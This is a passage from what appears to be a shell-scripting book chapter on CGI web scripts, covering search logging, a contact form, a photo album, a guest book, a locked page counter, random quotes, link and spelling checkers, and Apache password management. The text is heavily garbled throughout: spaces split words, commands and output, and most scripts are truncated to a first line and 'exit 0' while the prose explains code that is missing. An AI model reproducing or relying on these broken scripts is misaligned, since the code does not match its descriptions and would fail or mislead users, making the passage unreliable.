< in put typ e= "su bm it" valu e="se a rch " >
< /f orm >
However, rather than hand the search pattern directly to Yahoo!, we want to feed it to a script on our own server,
which will log the pattern and then redirect the query along to the Yahoo! server. The form therefore changes in only
one small regard: The a ct ion field becomes a local script rather than a direct call to Yahoo!:
< !- - T w eak a cti on val ue i f scr i pt i s pl a c ed i n / cg i- b in / o r o th er -- >
< fo rm m eth od ="g et " ac tion ="log - yah o o -se a r ch .c gi " >
The log - yah oo -se ar ch.c gi script is remarkably simple, as you will see.
The Code
# !/ bin / sh
# M ake sur e the d irec tory path and f ile l is te d a s 'l o gf i le ' a re w r it ab l e by
# u ser nob od y, or wha teve r use r yo u hav e as y ou r w eb se r ve r u id .
l og fil e ="/ va r/w ww /wic ked/ scrip t s/s e a rch l o g. tx t"
i f [ ! -f $l ogf il e ] ; th en
t ouc h $l og fil e
c hmo d a+ rw $l og file
fi
i f [ - w $l og fil e ] ; then
e cho "$( da te) : $QUE RY_S TRING " | s e d ' s / p= // g; s /+ / / g' >> $ l og fi l e
fi
e xi t 0
How It Works
The most notable elements of the script have to do with how web servers and web clients communicate. The
information entered into the search box is sent to the server as the variable Q UE R Y_ ST R IN G, encoded by replacing
spaces with the + sign and other non-alphanumeric characters with the appropriate character sequences. Then, when
the search pattern is logged, all + signs are translated back to spaces safely and simply, but otherwise the search
pattern is not decoded, to ensure that no tricky hacks are attempted by users. (See the introduction to this chapter for
more details.)
Once logged, the web browser is redirected to the actual Yahoo! search page with the Lo ca t io n: ht tp header
value. Notice that simply appending ?$Q UERY _ S TRI N G is sufficient to relay the search pattern, however simple or
complex it may be, to its final destination.
The log file produced by this script has each query string prefaced by the current date and time, to build up a data file
that not only shows popular searches but can also be analyzed by time of day, day of week, month of year, and so
forth. There's lots of information that this script could mine on a busy site!
Running the Script
To run this script, you need to create the HTML form, as shown earlier, and you need to have the script executable and
located on your server. (See the earlier section "Running the Scripts in This Chapter" for more details.) Then simply
submit a search query to the form, perhaps "nostarch." The results are from Yahoo!, exactly as expected, as shown in
Figure 8-2.
Figure 8-2: Yahoo! search results appear, but the search was logged!
The Results
As you can see, the user is prompted with a Yahoo! search box, submits a query, and, as shown in Figure 8-2, gets
standard Yahoo! search results. But there's now a log of the searches:
$ c at s ear ch log .t xt
F ri Se p 5 11 :16 :3 7 MD T 20 03: s t arc h
F ri Se p 5 11 :17 :1 2 MD T 20 03: n o sta r c h
On a busy website, you will doubtless find that monitoring searches with the command t a il - f s ea r ch lo g .t xt
is quite informative as you learn what kind of things people seek online.
#71 Building Web Pages on the Fly
Many websites have graphics and other elements that change on a daily basis. One good example of this is sites
associated with specific comic strips, such as Kevin & Kell, by Bill Holbrook. On his site, the home page always
features the most recent strip, and it turns out that the image-naming convention the site uses for the strip is easily
reverse-engineered, allowing you to include the cartoon on your own page.
A word from our lawyers There are a lot of copyright issues to consider when scraping the
content off another website for your own. For this example, we received
explicit permission from Bill Holbrook to include his comic strip in this
book. I encourage you to get permission to reproduce any copyrighted
materials on your own site before you dig yourself into a deep hole
surrounded by lawyers.
The Code
# !/ bin / sh
e ch o " < htm l> <bo dy bgc olor =whit e ><c e n ter > "
e ch o " < tab le bo rd er=\ "1\" cell p add i n g=\ " 2 \" c el l sp ac i ng = \" 1\ " >"
e ch o " < tr bg col or =\"# 0000 99\"> "
e ch o " < th> <f ont c olor =whi te>Bi l l H o l bro o k 's K ev i n &a m p; Ke ll < /f on t >< /t h >< /t r >"
e ch o " < tr> <t d>< im g "
e xi t 0
How It Works
A quick View Source of the home page for Kevin & Kell reveals that the URL for the graphic is built from the current
year, month, and day, as demonstrated here:
h tt p:/ / www .k evi na ndke ll.c om/20 0 3/s t r ips / k k2 00 31 0 15 .g i f
To build a page that includes this strip on the fly, therefore, the script needs to ascertain the current year (as a two-digit
value), month, and day (both with a leading zero, if needed). The rest of the script is just HTML wrapper to make the
page look nice. In fact, this is a remarkably simple shell script, given the resultant functionality.
The Results
The web page changes every day, automatically. For the strip of 9 October, 2003, the resulting page is shown in Figure
8-3.
Figure 8-3: The Kevin & Kell web page, built on the fly
As an example, Cecil Adams writes a very witty and entertaining column for the Chicago Reader called "The Straight
Dope." The specific page of the latest column has a URL of
h tt p:/ / www .s tra ig htdo pe.c om/co l umn s / ${n o w }. ht ml , where no w is the year, month, and day, in
the format YYMMDD. The page is updated with a new column every Friday. To have the new column emailed to a
specified address automatically is rather amazingly straightforward:
# !/ bin / sh
( c at < < E OF
S ub jec t : T he St ra ight Dop e for $(d a t e " + % A, % d % B, % Y ")
F ro m: C eci l Ada ms <do nt@r eply. c om>
C on ten t -ty pe : t ex t/ht ml
T o: $t o
< ht ml>
< bo dy b ord er =0 le ftma rgin =0 to p mar g i n=0 >
< di v s t yle =' bac kg roun d-co lor:3 0 9;c o l or: f C 6; fo nt - si ze : 45 p t;
fo nt- s tyl e: san s- seri f;fo nt-we i ght : 9 00; t e xt -a li g n: ce n te r ;
m ar gin : 0;p ad din g: 3px; '>
T HE ST R AIG HT DO PE </di v>
< di v s t yle =' pad di ng:3 px;l ine-h e igh t : 1.1 ' >
E OF
e xi t 0
Notice that this script adds its own header to the message and then sends it along, including all the footer and
copyright information on the original web page.
#72 Processing Contact Forms
While sophisticated CGI programming is almost always done in either Perl or C, simple tasks can often be
accomplished with a shell script. There are some security issues of which you should be conscious, because it's rather
easy to inadvertently pass a dangerous parameter (for example, an email address that a user enters) from a form to
the shell for evaluation, which a hacker might exploit. However, these potential security holes will likely never arise if
your CGI needs are sufficiently modest.
A very common page on a website is a contact request form, which is fed to the server for processing and then
emailed to the appropriate party within the organization. Here's the HTML source for a simple form (with a little
Cascading Style Sheet (CSS) information thrown in to make it pretty):
<bo d y b gc o lor = #C C FF C C> < cen ter >
<!- - T w ea k ac t io n v a lu e if sc rip t i s p lac ed i n / cg i-b in/ or oth er -->
<fo r m m et h od= " po s t" ac t ion ="0 74- con tac tus .cgi "
st y le = 'b o rde r : 3 px do u ble #6 36; pad din g:4 px'>
<di v s t yl e ='f o nt - si z e: 175 %;f ont -we igh t;b old;
bo r de r -b o tto m : 3 px do u ble #6 36' >We Lo ve Feed bac k! </d iv>
Nam e : < in p ut t yp e =" t ex t " n ame ="n ame ">< br>
Ema i l: <i n put ty p e= " te x t" nam e=" ema il" ><b r>
You r m e ss a ge o r c om m en t (p lea se be bri ef) :<br >
<te x ta r ea row s =" 5 " c ol s ="7 0" nam e=" com men ts"> </t ex tar ea> <br>
<in p ut ty p e=" s ub m it " v a lue ="s ubm it" >
</f o rm >
</c e nt e r>
This form has three input fields: one for name, one for email address, and one for comments. When the user clicks the
submit button, the information is packaged up and sent to co nta ctu s.c gi for interpretation and processing.
Because the form uses a m et h od ="po st" encoding, the data is handed to the CGI script as standard input. For
entries of " Da v e", <" ta y lor @in tui tiv e.co m">, and "my co mm ent" , the resulting data stream would be
nam e =D a ve & ema i l= t ay l or % 40i ntu iti ve. com &co mmen ts= my +co mme nt
That's all the information we need to create a shell script that turns the data stream the form information into an
email message, mails it off, and puts up a thank-you message for the web surfer.
The Code
#!/ b in / sh
( c a t < < E OF
Fro m : ( Yo u r W e b S it e C o nta ct For m) www @$( host nam e)
To: $r e ci p ien t
Sub j ec t : C ont a ct Re q ue s t f rom We b S ite
EOF
if [ - r $ t han k yo u ] ; t hen
c a t $ th a nky o u
els e
e c ho "< h tml > <b o dy bg c olo r=\ "wh ite \"> "
e c ho "T h ank yo u . W e' l l t ry to con tac t y ou s oon es t."
e c ho "< / bod y >< / ht m l> "
fi
exi t 0
How It Works
The c at statement translates the field separator & into a carriage return with tr, then cleans up the data stream a bit
with s ed , turning + into a space, the % 40 encoding sequence into an @ , and = into a colon followed by a space.
Finally, a rudimentary thank-you message is displayed to the user.
Frankly, this isn't the most elegant solution (a Perl-based script could have more flexibility, for example), but for a quick
and dirty hack, it'll do just fine.
To run the CGI script, simply enter information into the fields specified on the form and click the submit button.
The Results
The results of running this script submitting a contact query are twofold. An email is sent to the registered
recipient, and either the contents of a thank-you HTML document (the variable t han kyo u in the script) are displayed
or a rudimentary thank-you message is displayed. Here's the email produced from the form input shown in Figure 8-4:
Fro m : ( Yo u r W e b S it e C o nta ct For m) www @lo calh ost .i ntu iti ve.c om
To: ta y lo r
Sub j ec t : C ont a ct Re q ue s t f rom We b S ite
nam e : D av e Ta y lo r
ema i l: ta y lor @ in t ui t iv e .co m
com m en t s: Ver y i n te r es t ing ex amp le% 2C but I d on% 27 t l ike you r f orm co lor sc hem e%2 1
Note that not all of the punctuation characters are translated back into their regular characters, so instead of
exa m pl e , b ut we see ex a mp le%2 C b ut. This can be easily remedied by adding more mapping rules in the
sed statement, as desired.
#73 Creating a Web-Based Photo Album
CGI shell scripts aren't limited to working with text. A common use of websites is to have a photo album that allows you
to upload lots of pictures and that has some sort of software to help organize everything and make it easy to browse.
Surprisingly, a basic "proof sheet" of photos in a directory is quite easy to produce as a shell script. Here's one that's
only 44 lines.
The Code
# !/ bin / sh
# a lbu m - on lin e phot o al bum s c rip t
e ch o " C ont en t-t yp e: t ext/ html"
e ch o " "
i f [ - f $h ea der ] ; t hen
c at $ hea de r
e ls e
e cho "<h tm l>< bo dy b gcol or='w h ite ' lin k = '# 66 66 6 6' v l in k =' #9 9 99 99 ' >< ce n te r> "
fi
e ch o " < h3> Co nte nt s of $(d irnam e $S C R IPT _ N AM E) </ h 3> "
e ch o " < tab le ce ll padd ing= '3' c e lls p a cin g = '5 '> "
f or na m e i n *jp g
do
i f [ $co un t - eq 4 ] ; t hen
ec h o " </ td> </ tr>< tr>< td al i gn= ' c ent e r '> "
co u nt= 1
e lse
ec h o " </ td> <t d al ign= 'cent e r'> "
co u nt= $( ($c ou nt + 1))
fi
n ice n ame =" $(e ch o $n ame | sed 's/ . j pg/ / ; s/ -/ / g ') "
e cho "<a h ref =' $nam e' t arget = _ne w > <im g st yl e= ' pa dd i ng : 2p x' "
e cho "sr c= '$n am e' h eigh t='10 0 ' w i d th= ' 1 00 ' bo r de r= ' 1' > </ a> < BR >"
e cho "<s pa n s ty le=' font -size : 80 % ' >$n i c en am e< / sp an > "
d on e
e ch o " < /td >< /tr >< tabl e>"
i f [ - f $f oo ter ] ; t hen
c at $ foo te r
e ls e
e cho "</ ce nte r> </bo dy>< /html > "
fi
e xi t 0
How It Works
Almost all of the code here is HTML to create an attractive output format. Take out the ec h o statements, and there's a
simple f or loop that iterates through each JPEG file in the current directory.
The directory name in the <h 3> block is extracted by using $ (di r na m e $S C RI P T_ NA M E) . If you flip back to the
output of Script #69, Seeing the CGI Environment, you'll see that S C RI P T_ NA M E contains the URL name of the CGI
script, minus the h ttp :/ / prefix and the hostname. The d irn a me part of that expression strips off the actual name
of the script being run (in de x.cg i), so that only the current directory within the website file hierarchy is left.
This script also works best with a specific file-naming convention: Every filename has dashes where it would otherwise
have spaces. For example, the name value of s uns e t -at - h om e. jp g is transformed into the n ic e na me of
s un set at ho me. It's a simple transformation, but one that allows each picture in the album to have an attractive
and human-readable name, rather than DS C0 00 3 5 .JP G or some-thing similar.
The Results
Given a directory of landscape and nature shots, the results are quite pleasing, as shown in Figure 8-5. Notice that
h ea der . htm l and fo ote r.htm l files are present in the same directory, so they are automatically included in the
output too.
Figure 8-5: An instant online photo album created with 44 lines of shell script!
Another way to extend this script would be to teach it to show a clickable "folder" icon for any subdirectories found, so
that you can have an entire file system or tree of photographs, organized into portfolios. To see how that might look,
visit my online photo portfolio, built around a (substantial, I admit) variation of this script:
h tt p:/ / por tf oli o. intu itiv e.com /
Note This photo album script is one of my favorites, and I've spent many a day expanding and improving upon
my own online photo album software. What's delightful about having this as a shell script is that it's
incredibly easy to extend the functionality in any of a thousand ways. For example, because I use a script
called sh owp ic to display the larger images rather than just linking to the JPEG image, it would take
about 15 minutes to implement a perimage counter system so that people could see which images were
most popular. Explore my portfolio site, cited earlier, and pay attention to how things are hooked together:
It's all shell scripts underneath.
#74 Building a Guest Book
A common and popular feature of websites is a guest book, modeled after the book commonly found at bed-and-
breakfasts and chic resorts. The concept's simple: Enter your name, email address, and a comment, and it'll be
appended to an existing HTML page that shows other guest comments.
To simplify things, the same script that produces the "add your own entry" form and processes new guest entries as
they're received will also display the existing guest book entries (saved in a separate text file) at the top of the web
page. Because of these three major blocks of functionality, this script is a bit on the long side, but it's well commented,
so it should be comprehensible. Ready?
The Code
# ! / b in /s h
# No w, gi v en a URL e ncod ed s t r i n g , d e c o d e s o m e o f t h e m o s t i m p o r t a n t
# pu nc tua t ion ( but n ot a ll p u n c t u a t i o n ! )
# I f w e hav e a g u estb o ok t o w o r k w i t h , d i s p l a y a l l e n t r i e s
w h il e rea d lin e
do
da te ="$ ( echo $lin e | c ut - d \ | - f 1 ) "
na me ="$ ( echo $lin e | c ut - d \ | - f 2 ) "
em ai l=" $ (ech o $li n e | cut - d \ | - f 3 ) "
co mm ent = "$(e c ho $ l ine | c u t - d \ | - f 4 ) "
ec ho "< t r><t d ><a h ref= 'ma i l t o : $ e m a i l ' > $ n a m e < / a > s i g n e d t h u s l y : < / t d > < / t r > "
ec ho "< t r><t d ><di v sty le= ' m a r g i n - l e f t : 1 i n ' > $ c o m m e n t < / d i v > < / t d > < / t r > "
ec ho "< t r><t d ali g n=ri ght s t y l e = ' f o n t - s i z e : 6 0 % ' > A d d e d $ d a t e "
ec ho "< h r no s hade > </td ></ t r > "
d o ne < $g u estb o ok
# N o w cr eat e inp u t fo r m fo r s u b m i t t i n g n e w g u e s t b o o k e n t r i e s . . .
echo " <f orm meth o d='p o st' act i o n = ' $ ( b a s e n a m e $ 0 ) ' > "
echo " Pl eas e fee l fre e to sig n o u r g u e s t b o o k t o o : < b r > "
echo " Yo ur n ame: <inp u t ty pe= ' t e x t ' n a m e = ' y o u r n a m e ' > < b r > "
echo " Yo ur e mail addr e ss: <in p u t t y p e = ' t e x t ' n a m e = ' e m a i l ' > < b r > "
echo " An d y o ur c o mmen t :<br >"
echo " <t ext a rea n ame= ' comm ent ' r o w s = ' 5 ' c o l s = ' 6 5 ' > < / t e x t a r e a > "
echo " <b r>< i nput type = 'sub mit ' v a l u e = ' s i g n o u r g u e s t b o o k ' > "
echo " </ for m >"
exit 0
How It Works
The scariest-looking part of this code is the small block of s e d commands that translate most of the common
punctuation characters from their URL encodings back to the actual character itself:
c a t << " EOF " > $ s edte m p
s / % 2 C/ ,/ g;s / %21/ ! /g;s / %3F/ ?/g ; s / % 4 0 / @ / g ; s / % 2 3 / # / g ; s / % 2 4 / $ / g
s / % 2 5/ %/ g;s / %26/ \ &/g; s /%28 /(/ g ; s / % 2 9 / ) / g ; s / % 2 B / + / g ; s / % 3 A / : / g
s / % 3 B/ ;/ g;s / %2F/ \ //g; s /%27 /'/ g ; s / % 2 2 / " / g
EOF
If you look closely, however, it's just an s/ol d / n e w / g sequence over and over, with different % x x values being
substituted. The script could bulk-translate all URL encodings, also called escape sequences, but it's useful to ensure
that certain encodings, including those for <, > , and ` , are not translated. Security, dontcha know a nice way to
sidestep people who might be trying to sneak unauthorized HTML into your guest book display.
The Results
Figure 8-6 shows the guest book displaying the few entries just shown.
Figure 8-6: A guest book system, all in one neat shell script
If you'd rather have a friendlier date format than the output of the d a t e command, that'd be another easy tweak to the
script. On most systems either the date man page or the s t r f t i m e man page explains all the % x format values.
You can spend hours tweaking date formats because there are literally more than 50 different possible ways to display
elements of the date and time using aformat string.
It should also be easy to customize the appearance of this guest book by perhaps having separate h e a d e r . h t m l
and fo ot er. h tml files and then using an appropriate code block near the top and bottom of the script:
i f [ - f hea d er.h t ml ] ; th en
c a t he ade r .htm l
fi
Finally, there are a lot of odd people on the Web, and I have learned that it's smart to keep a close eye on anything to
which people can add input without any screening process. As a result, a very sensible hack to this guest book script
would be to have new entries emailed to you, so you could immediately delete any inappropriate or off-color entries
before being embarassed by the content of your site.
#75 Creating a Text-Based Web Page Counter
One popular element of many web pages is a page counter that increments each time a request for the page in
question is served. A quick glance at the counter value then lets you see how popular your pages are and whether
they're seeing lots of visitors. While counters aren't typically written as shell scripts, that doesn't mean it can't be done,
and we'll throw caution to the wind and build it ourselves!
The fundamental challenge with this particular script is that there's a possible race condition, a situation in which two
people visit the page simultaneously and each of the counter scripts steps on the other when writing to the data file.
You can try to solve the race condition within the script itself, but that's surprisingly tricky. Consider the following few
lines of code:
w hi le [ -e $ loc kf ile ] ; do
s lee p 1
d on e
t ou ch $ loc kf ile
It seems as though this should work, only allowing the script to escape the wh i le loop when the lock file doesn't exist
and then immediately creating the lock file to keep everyone else out. But it doesn't work. Remember that two copies
can be running essentially simultaneously, so what happens if one ascertains that there's no lock file, gets through the
w hi le loop, and then is swapped out by the CPU before creating the new lock file? Meanwhile, the second script
tests, also finds there's no lock file, and creates one, convinced it now has exclusive access to the data. Then the first
script swaps back in, it touches the lock file (which already exists, though it doesn't know that), and mayhem ensues.
The solution is to use a utility written for the job, to ensure that you don't encounter a race condition in the middle of
your locking sequence. If you're lucky, your Unix has the helpful l oc k f command, which executes a specific
command while holding an exclusive file lock. If not, many Unixes have the l o ck f il e utility as an alternative. To be
portable, this script works with both, depending on what it can find. Script #10 discusses this issue in greater depth too.
The Code
# !/ bin / sh
e xi t 0
The cou n ter script calls $upd atec ounte r , a second, smaller script that's used to actually increment the counter.
It ignores any file-locking issues, assuming that they're dealt with elsewhere:
# !/ bin / sh
i f [ $ # -n e 1 ] ; the n
e cho "Us ag e: $0 cou ntfi le" > & 2
e xit 1
fi
e xi t 0
How It Works
The cou n ter and u pd ate count er scripts do something quite simple: Together they open up a file; grab the
number therein; increment it; save the new, larger value; and display that value. All the complexity in these scripts is
associated with locking files to ensure that there's no collision when updating the counter value.
The basis of the main conditional ascertains whether the system has l oc k f (the preferred choice), l oc kf i le (an
acceptable alternative), or nothing:
i f [ - z $( wh ich l ockf ) ] ; the n
i f [ -z $( whi ch loc kfil e) ] ; th e n
e c ho "( cou nt er: no l ockin g ut i l ity a va il ab l e) <b r >"
The whi c h command looks for a specific command in the current PATH; if it can't find it, it returns zero. If neither
l oc kf nor lo ck fil e exists, the script just refuses to run and quits, but if either locking system can be found, it
uses that and proceeds.
The search path for scripts running within the CGI environment is often shorter than the path for interactive scripts, so if
you know that the system has lock f or loc k fil e and the script can't find it, you'll need to do one of two things.
Modify the runtime PATH by adding a line of code like the following to the beginning of the script, supplying the
directory that contains the program in question:
P AT H=" $ {PA TH }:/ ho me/t aylo r/bin "
Or replace both $(w hi ch lo ckf) and $( wh i c h l o c kfi l e) with the full lo c kf il e or lo ck f path and
filename that you want to use in the script.
The .sh t ml web page would have a line of code embedded in the HTML similar to the following:
< !- -#e x ec cm d=" /w icke d/ex ample s /co u n ter . s h" -- >
The Results
A short SSI page that includes a call to the co u n ter . s h script is shown in Figure 8-7. This same HTML page also
uses Script #76, Displaying Random Text.
Figure 8-7: Server-side includes let us invoke shell scripts from within HTML files
e xi t 0
#76 Displaying Random Text
The built-in server-side include features offer some wonderful ways to expand and extend your website. One way that's
a favorite with many webmasters is the ability to have an element of a web page change each time the page is loaded.
The ever-changing element might be a graphic, a news snippet, or a featured subpage, or it might just be a tag line for
the site itself, but one that's slightly different for each visit to keep the reader interested and hopefully coming
back for more.
What's remarkable is that this trick is quite easy to accomplish with a shell script containing an aw k program only a
few lines long, invoked from within a web page via an SSI include (see Script #75 for an example of SSI directive
syntax and naming conventions for the file that calls the server-side include). Let's have a look.
The Code
# !/ bin / sh
i f [ $ # -n e 1 ] ; the n
e cho "Us ag e: ra ndom quot e dat a fil e n ame " >& 2
e xit 1
e li f [ ! - r "$1 " ] ; then
e cho "Er ro r: qu ote file $1 i s mi s s ing o r no t r ea da b le " > &2
e xit 1
fi
e xi t 0
How It Works
This script is one of the simplest in the book. Given the name of a data file, it checks to ensure that the file exists and
is readable, and then it feeds the entire file to a short aw k script, which stores each line in an array (a simple data
structure), counting lines, and then randomly picks one of the lines in the array and prints it to the screen.
Most servers require that the web page that contains this SSI include have an .s h tm l filename suffix, rather than the
more traditional . ht ml or . ht m. With that simple change, the output of the r a nd om q uo te command is
incorporated into the content of the web page.
The Results
The last few lines of Figure 8-7, in Script #75, show a randomly generated quote as part of a web page. However,
given a data file of one-liners borrowed from the Trivial.net tag line file (see h t tp : // ww w .t ri v ia l. n et /), this
script can also be tested on the command line by calling it directly:
$ r and o mqu ot e s am pleq uote s.txt
N ei the r ra in no r slee t no r dar k of n igh t . .. i t' s T ri v ia l .n et
$ r and o mqu ot e s am pleq uote s.txt
S pa m? N ot on yo ur lif e. I t's y o ur d a ily d os e of Tr iv i al . ne t
The Code
# !/ bin / sh
e xi t 0
How It Works
The vast majority of the work in this script is done by ly n x ; the script just fiddles with the resultant l y nx output files
to summarize and display the data attractively. The ly n x output file r e je ct . da t contains a list of links pointing to
external URLs (see Script #78, Reporting Broken External Links, for how to exploit this data); t ra v er se . er ro r s
contains a list of failed, invalid links (the gist of this script); t r ave r se . da t contains a list of all pages checked; and
t ra ver s e2. da t is identical to trav erse . d at except that it also includes the title of every page visited.
This means that the file pri va cy.s html contains a link to co n ta c tu s. s ht m l that cannot be resolved: The file
c on tac t us. sh tml does not exist. Finally, let's check my main website to see what link errors might be lurking:
$ d ate ; c he ckl in ks h ttp: //www . int u i tiv e . co m/ ; da te
T ue Se p 16 2 1:5 5: 39 G MT 2 003
6 e rro r s e nc oun te red. Che cked 7 28 p a ges a t ht tp : // ww w .i n tu it i ve .c o m/ :
l ib rar y /f8 i n li brar y/Art o fWr i t ing . s ht ml
l ib rar y /f1 1 i n li brar y/Art o fWr i t ing . s ht ml
l ib rar y /f1 6 i n li brar y/Art o fWr i t ing . s ht ml
l ib rar y /f1 8 i n li brar y/Art o fWr i t ing . s ht ml
a rt icl e s/c oo kie s/ i n art i cle s / csi - c ha t. ht m l
~ ta ylo r i n ar ticl es/ao l -tr a n scr i p t. ht ml
( A cop y of t his o utpu t ha s bee n sa v e d i n ww w. in t ui ti v e. c om .e r ro rs )
T ue Se p 16 2 2:0 2: 50 G MT 2 003
Notice that adding a call to dat e before and after a long command is a lazy way to see how long the command takes.
Here you can see that checking the 728-page int u i tiv e . com site took just over seven minutes.
To have this script report on image (img) reference errors instead, g re p the tr a ve rs e .e rr o rs file for g if ,
j pe g, or pn g filename suffixes before feeding the result to the s ed statement (which just cleans up the output format
to make it attractive).
#78 Reporting Broken External Links
This partner script to Script #77, Identifying Broken Internal Links, utilizes the - t r a v e r s a l option of l y n x to
generate and test a set of external links links to other websites. When run as a traversal of a site, l y n x produces
a number of data files, one of which is called r e j e c t . d a t . The r e j e c t . d a t file contains a list of all external
links, both website links and mai l to: links. By iteratively trying to access each h t t p link in r e j e c t . d a t , you
can quickly ascertain which sites work and which sites fail to resolve, which is exactly what this script does.
The Code
# ! / b in /s h
/ b i n /r m -f $ outf i le # cle a n i t f o r n e w o u t p u t
i f [ - s $ o utfi l e ] ; the n
ca t $ou t file
ec ho "( A cop y of t his out p u t h a s b e e n s a v e d i n $ { o u t f i l e } ) "
e l if [ $l i stal l -eq 0 -a $e r r o r s - e q 0 ] ; t h e n
ec ho "N o pro b lems enco unt e r e d . "
fi
else
e c ho - n " N o ex t erna l lin ks e n c o u n t e r e d " ;
e c ho i n $ ( grep '^ht t p' t rav e r s e . d a t | w c - l ) p a g e s .
fi
exit 0
How It Works
This is not the most elegant script in this book. It's more of a brute-force method of checking external links, because for
each external link found, the l ynx command tests the validity of the link by trying to grab the contents of its URL and
then discarding them as soon as they've arrived, as shown in the following block of code:
if ! $l y nx - d ump $ URL > / d e v / n u l l 2 > & 1 ; t h e n
ec ho " Fail e d : $ URL" >> $ o u t f i l e
er ror s ="$( ( $err o rs + 1) ) "
el if [ $ list a ll - e q 1 ] ; t h e n
ec ho " Succ e ss: $ URL" >> $ o u t f i l e
fi
The notation 2>& 1 is worth mentioning here: It causes output device #2 to be redirected to whatever output device #1
is set to. With a shell, output #2 is s tderr (for error messages) and output #1 is s t d o u t (regular output). Used
alone, 2 >& 1 will cause s t derr to go to st d o u t . In this instance, however, notice that prior to this redirection,
s t d o ut is already redirected to the so-called bit bucket of / d e v / n u l l (a virtual device that can be fed an infinite
amount of data without ever getting any bigger. Think of a black hole, and you'll be on the right track). Therefore, this
notation ensures that st d err is also redirected to / d e v / n u l l . We're throwing all of this information away because
all we're really interested in is whether ly nx returns a zero or nonzero return code from this command (zero indicates
success; nonzero indicates an error).
The number of internal pages traversed is calculated by the line count of the file t r a v e r s e . d a t , and the number of
external links is found by looking at re ject . d a t . If the -a flag is specified, the output lists all external links, whether
they're reachable or not; otherwise only failed URLs are displayed.
The Results
Let's check a simple site with a known bad link. The - a flag lists all external links, valid or not.
$ c h ec ke xte r nal - a ht t p:// www . o u r e c o p a s s . o r g /
8 e x te rn al l inks enco u nter ed i n 4 p a g e s
F a i l ed : ht t p:// w ww.b a dlin k/s o m e w h e r e . h t m l
S u c c es s: ht t p:// w ww.c i .bou lde r . c o . u s / g o b o u l d e r /
S u c c es s: ht t p:// w ww.e c opas s.o r g /
S u c c es s: ht t p:// w ww.i n tuit ive . c o m /
S u c c es s: ht t p:// w ww.r i dear ran g e r s . o r g /
S u c c es s: ht t p:// w ww.r t d-de nve r . c o m /
S u c c es s: ht t p:// w ww.t r ansi tal l i a n c e . o r g /
S u c c es s: ht t p:// w ww.u s 36tm o.o r g /
( A c op y of t his o utpu t has be e n s a v e d i n w w w . o u r e c o p a s s . o r g . e x t e r n a l - e r r o r s )
To find the bad link, we can easily use the gr e p command on the set of HTML source files:
$ g r ep ' bad l ink/ s omew h ere. htm l ' ~ e c o p a s s / *
~ e c o pa ss /co n tact . html : <a h ref = " h t t p : / / w w w . b a d l i n k / s o m e w h e r e . h t m l " > b a d < / a >
With a larger site, well, the program can run for a long, long time. The following took three hours to finish testing:
$ d a te ; ch e ckex t erna l htt p:/ / w w w . i n t u i t i v e . c o m / ; d a t e
T u e Se p 16 2 3:16 : 37 G M T 20 03
7 3 3 ex te rna l lin k s en c ount ere d i n 7 2 8 p a g e s
F a i l ed : ht t p:// c hemg o d.sl ip. u m d . e d u / ~ k i d w e l l / w e a t h e r . h t m l
F a i l ed : ht t p:// e poch . orei lly . c o m / s h o p / c a r t . a s p
F a i l ed : ht t p:// e zone . org: 108 0 / e z /
F a i l ed : ht t p:// t echw e b.cm p.c o m / c w / w e b c o m m e r c e /
F a i l ed : ht t p:// t enbr o oks1 1.l a n m i n d s . c o m /
F a i l ed : ht t p:// w ww.b u ilde r.c n e t . c o m /
F a i l ed : ht t p:// w ww.b u zz.b uil d e r . c o m /
F a i l ed : ht t p:// w ww.c h em.e mor y . e d u / h t m l / h t m l . h t m l
F a i l ed : ht t p:// w ww.t r uste .or g /
F a i l ed : ht t p:// w ww.w a nder -lu s t . c o m /
F a i l ed : ht t p:// w ww.w e bsit ega r a g e . c o m /
( A c op y of t his o utpu t has be e n s a v e d i n w w w . i n t u i t i v e . c o m . e x t e r n a l - e r r o r s )
W e d Se p 17 0 2:11 : 18 G M T 20 03
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: we bspe ll f ile|U R L" > & 2; e x it 1
fi
f or fi l ena me
do
i f [ ! - f "$f il enam e" - a "$( e cho $ fil e n am e| cu t - c1 - 7) " ! = " ht tp : // " ]
t hen
co n tin ue # pick ed up dir e c tor y in ' *' li st i ng
fi
i f [ -s $t emp ou t ] ; th en
ec h o " Pr oba bl e sp elli ng er r ors : ${f i l en am e} "
ca t $t em pou t | pa ste - - - - | s ed ' s /^ / /'
fi
d on e
e xi t 0
How It Works
Using the helpful lyn x command, this script extracts just the text from each of the specified pages and then feeds the
result to a spell-checking program (ispe ll in this example, though it works just as well with a s pe ll or another
spelling program. See Script #25, Checking the Spelling of Individual Words, for more information about different spell-
checking options in Unix).
Whichever spell-checking program you use, you'll need to ensure that the result of the following line is a list only of
misspelled words, with none of the spell-checking utility's special formatting included:
i sp ell -a | awk ' /^\& / { print $2 } ' | \
This spell line is but one part of a quite complex pipeline that extracts the text from the page, translates it to one word
per line (the t r invocation), sorts the words, and ensures that each one appears only once in the pipeline (so r t -
u ). After the sort operation, we screen out all the lines that don't begin with a lowercase letter (that is, all punctuation,
HTML tags, and other content). Then the next line of the pipe runs the data stream through the s pe ll utility, using
a wk to extract the misspelled word from the oddly formatted i s p el l output. The results are run through a so r t -u
invocation, screened against the oka yword s list with gre p , and formatted for attractive output with p a st e (which
produces four words per line in this instance).
The Results
$ w ebs p ell h ttp :/ /www .cli ckthr u sta t s .co m / in de x. s ht ml *. h tm l
P ro bab l e s pe lli ng err ors: http : //w w w .cl i c kt hr us t at s. c om / in de x .s ht m l
c afe p res s m icro url si g n up u r lw ir e
P ro bab l e s pe lli ng err ors: 074- c ont a c tus . h tm l
w ebs p ell w erd
In this case, the script checked a web page on the network from the Cl ic k -T h ru St a ts .c o m site and five local
HTML pages, finding the errors shown.
Also worth considering, if you're obsessed with avoiding any misspellings creeping into your website, is this: With a
combination of correcting genuine misspellings and adding valid words to the ok a yw o rd s file, you can reduce the
output of web spe ll to nothing and then drop it into a weekly c ro n job to catch and report misspellings
automatically.
#80 Managing Apache Passwords
One terrific feature of the Apache web server is that it offers built-in support for password-protected directories, even
on a shared public server. It's a great way to have private, secure, and limited-access information on your website,
whether you have a pay subscription service or you just want to ensure that family pictures are viewed only by family.
Standard configurations require that in the password-protected directory you manage a data file called . ht ac c es s,
which specifies the security "zone" name and, most importantly, points to a separate data file, which in turn contains the
account name and password pairs that are used to validate access to the directory. Managing this file is not a problem,
except that the only tool included with Apache for doing so is the primitive h t pa s sw d program, which is run on the
command line. Instead, this script, apm, one of the most complex and sophisticated scripts in this book, offers a
password management tool that runs as a CGI script and lets you easily add new accounts, change the passwords on
existing accounts, and delete accounts from the access list.
